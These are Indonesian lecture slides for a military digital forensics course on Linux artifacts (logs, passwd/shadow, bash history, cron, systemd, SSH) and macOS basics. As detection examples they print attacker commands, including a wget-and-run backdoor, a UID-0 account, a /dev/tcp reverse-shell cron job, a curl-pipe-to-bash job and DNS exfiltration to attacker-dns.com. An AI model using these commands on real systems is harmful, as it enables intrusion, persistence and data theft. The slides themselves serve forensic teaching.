Mata Kuliah: Digital Forensic for Military Purposes | 3 SKS
Setelah pertemuan ini, mahasiswa mampu:
| Direktori | Fungsi | Relevansi Forensik |
|---|---|---|
/var/log |
Log sistem | 🔴 Aktivitas, autentikasi, kernel |
/etc |
Konfigurasi sistem | 🔴 User accounts, password, cron |
/home |
Data pengguna | 🔴 Bash history, dokumen, SSH keys |
/tmp |
File sementara | 🟡 Malware staging, payload |
/root |
Home root | 🟡 Aktivitas administrator |
| Filesystem | Journal | Max File | Fitur Forensik |
|---|---|---|---|
| ext4 | Ya | 16 TB | Deleted file recovery, 4 timestamps, journal analysis |
| XFS | Metadata only | 8 EB | Extent-based analysis |
| Btrfs | CoW | 16 EB | Snapshot forensics, subvolume analysis |
Setiap file memiliki inode yang menyimpan metadata kritis:
| Timestamp | Nama | Berubah Ketika | Contoh Forensik |
|---|---|---|---|
| atime | Access | File dibaca | Kapan dokumen rahasia terakhir dibuka |
| mtime | Modify | Konten berubah | Kapan config firewall dimodifikasi |
| ctime | Change | Metadata berubah | Deteksi perubahan permission |
| crtime | Creation | Tidak berubah | Kapan file malware pertama kali muncul |
⚠️ crtime hanya tersedia di ext4, tidak di ext3 atau filesystem lama
statMenampilkan seluruh informasi inode file:
$ stat /var/log/auth.log
File: /var/log/auth.log
Size: 85420 Blocks: 168 IO Block: 4096 regular file
Device: 801h/2049d Inode: 262148 Links: 1
Access: (0640/-rw-r-----) Uid: ( 104/ syslog) Gid: ( 4/ adm)
Access: 2026-01-15 08:30:15.123456789 +0700
Modify: 2026-01-15 08:30:12.987654321 +0700
Change: 2026-01-15 08:30:12.987654321 +0700
Birth: 2026-01-01 00:00:01.000000000 +0700
Birth (crtime) dengan Modify (mtime) — jika berbeda jauh, file mungkin telah dimodifikasi setelah pembuatan
Format: username:x:UID:GID:GECOS:home:shell
root:x:0:0:root:/root:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
tniadmin:x:1000:1000:Admin TNI Kodam:/home/tniadmin:/bin/bash
temp_user:x:1002:1002::/home/temp_user:/bin/bash
Hanya dapat dibaca oleh root — menyimpan hash password:
root:$6$xyz123$ABCdef....:19500:0:99999:7:::
tniadmin:$6$salt$HashedPassword:19480:0:90:14:30:19800:
temp_user:!:19495:0:99999:7:::
| Indikator | Arti |
|---|---|
$6$ |
Hash SHA-512 (standar modern) |
$y$ |
Hash yescrypt (lebih baru) |
! atau * |
Akun terkunci/disabled |
| Field expire | Tanggal kadaluarsa akun |
Ditemukan entry mencurigakan di /etc/passwd:
sysbackup:x:0:0::/tmp:/bin/bash
Deteksi: awk -F: '$3 == 0 {print}' /etc/passwd
/home/user/.bash_history/root/.bash_history~/.zsh_history (zsh)HISTFILE — Lokasi fileHISTSIZE — Kapasitas memoriHISTCONTROL — Kebijakan simpanHISTTIMEFORMAT — Timestampunset HISTFILE, HISTSIZE=0, history -c, shred ~/.bash_history
whoami # Reconnaissance
id
cat /etc/passwd # Enumeration
cat /etc/shadow
wget http://malicious.com/backdoor.sh -O /tmp/.hidden
chmod +x /tmp/.hidden # Malware prep
/tmp/.hidden & # Execution
iptables -A INPUT -p tcp --dport 4444 -j ACCEPT # Open port
useradd -o -u 0 -g 0 -M -d /tmp -s /bin/bash sysbackup
history -c # Cover tracks
| Distribusi | Lokasi |
|---|---|
| Debian/Ubuntu | /var/log/auth.log |
| RHEL/CentOS | /var/log/secure |
| Systemd-based | journalctl -u sshd |
Jan 15 08:30:15 server01 sshd[12345]: Accepted publickey for tniadmin from 192.168.1.100
Jan 15 08:31:02 server01 sudo: tniadmin : USER=root ; COMMAND=/bin/cat /etc/shadow
Jan 15 09:15:44 server01 sshd[12400]: Failed password for invalid user admin from 10.0.0.55
Feb 10 03:14:01 kodam-srv sshd: Failed password for root from 203.0.113.50
Feb 10 03:14:02 kodam-srv sshd: Failed password for root from 203.0.113.50
Feb 10 03:14:03 kodam-srv sshd: Failed password for admin from 203.0.113.50
...
Feb 10 03:14:55 kodam-srv sshd: Accepted password for operator01 from 203.0.113.50
Feb 10 03:15:10 kodam-srv sudo: operator01 : USER=root ; COMMAND=/bin/bash
| Lokasi | Fungsi |
|---|---|
/etc/crontab |
Crontab sistem utama |
/etc/cron.d/ |
Crontab tambahan |
/etc/cron.daily/ |
Script harian |
/var/spool/cron/crontabs/ |
Crontab per-user |
Format: menit jam hari bulan hari_minggu user perintah
# Normal
0 2 * * * root /usr/sbin/logrotate /etc/logrotate.conf
# MENCURIGAKAN — Reverse shell setiap 5 menit!
*/5 * * * * root bash -i >& /dev/tcp/10.0.0.99/4444 0>&1
Ditemukan di /var/spool/cron/crontabs/www-data:
*/3 * * * * /tmp/.cache/update.sh > /dev/null 2>&1
Kesimpulan: Backdoor persistence via cron job
Alternatif modern untuk cron pada distribusi berbasis systemd:
# Melihat semua timer aktif
systemctl list-timers --all
# Lokasi service unit
/etc/systemd/system/ # Custom (prioritas tertinggi)
/lib/systemd/system/ # Dari paket (default)
/run/systemd/system/ # Runtime
[Service]
ExecStart=/usr/local/bin/.svc_helper -c 203.0.113.99 -p 443
Restart=always
Hidden binary, koneksi ke C2, auto-restart
| File Log | Isi | Relevansi |
|---|---|---|
/var/log/syslog |
Pesan sistem umum | Overview aktivitas |
/var/log/auth.log |
Login, sudo, SSH | Unauthorized access |
/var/log/kern.log |
Kernel messages | USB device, driver |
/var/log/dpkg.log |
Package installation | Software timeline |
/var/log/wtmp |
Login sessions (binary) | Baca: last |
/var/log/btmp |
Failed logins (binary) | Baca: lastb |
# Cari login gagal dari IP tertentu
grep "Failed password" /var/log/auth.log | grep "203.0.113.50"
# Cari aktivitas sudo
grep "sudo:" /var/log/auth.log
# Cari akses SSH berhasil
grep "Accepted" /var/log/auth.log
# Top 10 IP dengan login gagal terbanyak
grep "Failed password" /var/log/auth.log \
| grep -oE "([0-9]{1,3}\.){3}[0-9]{1,3}" \
| sort | uniq -c | sort -rn | head -10
# Log sejak waktu tertentu
journalctl --since "2026-01-15 00:00:00" --until "2026-01-15 23:59:59"
# Filter berdasarkan unit
journalctl -u sshd.service
# Log kernel
journalctl -k
# Export ke JSON untuk analisis
journalctl -o json --since today > journal_export.json
zgrep untuk mencari dalam file log terkompresi (.gz) dari log rotation
$ last -f /var/log/wtmp
tniadmin pts/0 192.168.1.100
Wed Jan 15 08:30 still logged in
root tty1
Tue Jan 14 22:00 - 23:45
$ sudo lastb -f /var/log/btmp
admin ssh:notty 10.0.0.55
Wed Jan 15 09:15 - 09:15
root ssh:notty 10.0.0.55
Wed Jan 15 09:15 - 09:15
⚠️ File binary — tidak bisa dibaca dengan text editor, gunakan last dan lastb
| File | Fungsi | Nilai Forensik |
|---|---|---|
~/.ssh/authorized_keys |
Keys yang boleh login | 🔴 Target utama penyerang |
~/.ssh/known_hosts |
Server yang pernah diakses | 🟡 Lateral movement trail |
~/.ssh/config |
Konfigurasi koneksi | 🟡 Target server lain |
/etc/ssh/sshd_config |
Konfigurasi server SSH | 🟡 Policy & security settings |
authorized_keys memungkinkan akses tanpa password!
File diawali titik (.) = hidden di Linux. Sering dieksploitasi malware!
| Lokasi Umum Malware | Alasan |
|---|---|
/tmp/.hidden/ |
Writable semua, sering diabaikan |
/dev/shm/ |
RAM-based, hilang saat reboot |
/usr/local/bin/.file |
Terlihat seperti system binary |
# Mencari semua file tersembunyi yang baru dibuat
find / -name ".*" -type f -newer /etc/passwd 2>/dev/null
# Mencari file SUID (privilege escalation)
find / -perm -4000 -type f 2>/dev/null
| Teknik LotL | Mekanisme | Deteksi |
|---|---|---|
| Cron persistence | Cron job untuk reverse shell | Audit semua crontab |
| Systemd service | Service unit untuk backdoor | Periksa /etc/systemd/system/ |
| SSH key injection | Tambah authorized_keys | Audit semua SSH keys |
| Bashrc modification | Sisipkan perintah di .bashrc | Periksa startup scripts |
| LD_PRELOAD hijack | Hijack shared library | Periksa /etc/ld.so.preload |
Server database Kodam XIV/Hasanuddin:
Jan 20 02:15:30 kodam14-db sshd: Accepted publickey for admin from 192.168.10.5
Jan 20 02:16:45 kodam14-db sudo: admin : COMMAND=/usr/bin/mysqldump --all-databases
Jan 20 02:20:10 kodam14-db sudo: admin : COMMAND=/usr/bin/scp /tmp/all_db.sql admin@172.16.0.99
Jan 20 02:21:30 kodam14-db sudo: admin : COMMAND=/usr/bin/shred -n 3 /tmp/all_db.sql
Jan 20 02:22:00 kodam14-db sudo: admin : COMMAND=/usr/sbin/service rsyslog stop
*/15 * * * * root \
curl -s https://pastebin.com/raw/aBcDeF \
| bash
Download & execute payload dinamis
ExecStart=/bin/bash -c \
'nslookup $(cat /etc/hostname)\
.data.attacker-dns.com'
Kirim data via DNS query
# Step 1: Extract semua timestamps
log2timeline.py --storage-file timeline.plaso /path/to/disk-image.dd
# Step 2: Filter dan export
psort.py -o l2tcsv timeline.plaso "date > '2026-01-15'" > timeline.csv
# Step 3: Analisis visual
# Import CSV ke Timeline Explorer / Excel
wsl --install/mnt/c/Evidence/sudo losetup -fP image.dd && sudo mount -o ro /dev/loop0p1 /mnt/evidence/apt install sleuthkit30 menit
macOS dibangun di atas Darwin (BSD Unix):
| Komponen | Deskripsi | Forensik |
|---|---|---|
| APFS | Apple File System (default) | CoW, snapshots, encryption |
| launchd | Service manager | Persistence mechanism |
| Spotlight | Search indexing | Rich metadata database |
| FSEvents | FS event logging | Persistent file timeline |
| Unified Logs | Centralized logging | Sumber log utama |
| Fitur | Deskripsi | Implikasi Forensik |
|---|---|---|
| Copy-on-Write | Data baru di lokasi baru | Versi lama mungkin masih ada |
| Snapshots | Snapshot otomatis | Recovery data historis |
| Native Encryption | Enkripsi per-volume/file | Tantangan akses data |
| Nanosecond TS | Presisi timestamp tinggi | Timeline lebih akurat |
~/Library/Preferences/. Format: binary (bplist) atau XML.
/.Spotlight-V100/
/.fseventsd/
log show. Lokasi: /var/db/diagnostics/
FSEventsParser (Python, open-source) untuk parsing FSEvents logs
| Aspek | Linux | Mac OS |
|---|---|---|
| Filesystem | ext4, XFS, Btrfs | APFS, HFS+ |
| User data | /home/user/ |
/Users/username/ |
| Config format | Text files | plist (binary/XML) |
| Logging | syslog + journald | Unified Logs |
| Scheduled tasks | cron, systemd timers | launchd (plist-based) |
| FS events | inotify (runtime only) | FSEvents (persistent) |
| Encryption | dm-crypt/LUKS | FileVault (APFS native) |
| Tool | Tipe | Fungsi |
|---|---|---|
| mac_apt | Open-source | Parser artefak macOS |
| APOLLO | Open-source | Apple Pattern of Life analysis |
| plistutil | Open-source | Parser plist (cross-platform) |
| FSEventsParser | Open-source | Parser FSEvents logs |
| Autopsy | Open-source | Analisis APFS dasar |
Pertanyaan 1:
Entry berikut di /etc/passwd adalah indikator apa?sysbackup:x:0:0::/tmp:/bin/bash
💡 UID 0 selain root + home di /tmp = sangat mencurigakan!
Pertanyaan 2:
File .bash_history berukuran 0 byte. Kemungkinan penyebab UTAMA?
⚠️ Periksa .bashrc untuk HISTFILE=/dev/null dan gunakan stat untuk cek timestamps!
Pertanyaan 3:
Artefak Mac OS yang mencatat perubahan filesystem termasuk file yang sudah dihapus adalah?
💡 FSEvents mencatat create/modify/delete — jejak tetap ada meski file dihapus!
Pertanyaan 4:
Perintah untuk mencari semua akun dengan UID 0 (hak root) di Linux?
cat /etc/shadow | grep rootfind / -uid 0 -type fawk -F: '$3 == 0 {print}' /etc/passwd ✅grep "root" /etc/passwd💡 Option D hanya mencari kata "root", bukan UID 0 — bisa miss backdoor account!
| Konsep | Poin Kunci |
|---|---|
| FHS | /var/log, /etc, /home, /tmp — prioritas forensik tertinggi |
| Timestamps | atime, mtime, ctime, crtime (ext4) — gunakan stat |
| User Artifacts | /etc/passwd, /etc/shadow — UID 0 selain root = red flag |
| Bash History | .bash_history — artefak emas; waspada anti-forensik |
| Log Analysis | auth.log, syslog; grep/awk/journalctl |
| Persistence | Cron, systemd timers, SSH keys, LotL techniques |
| Mac OS | APFS, plist, FSEvents, Unified Logs |
Pertemuan 07: Forensik Linux dan Pengenalan Mac OS
Ada pertanyaan?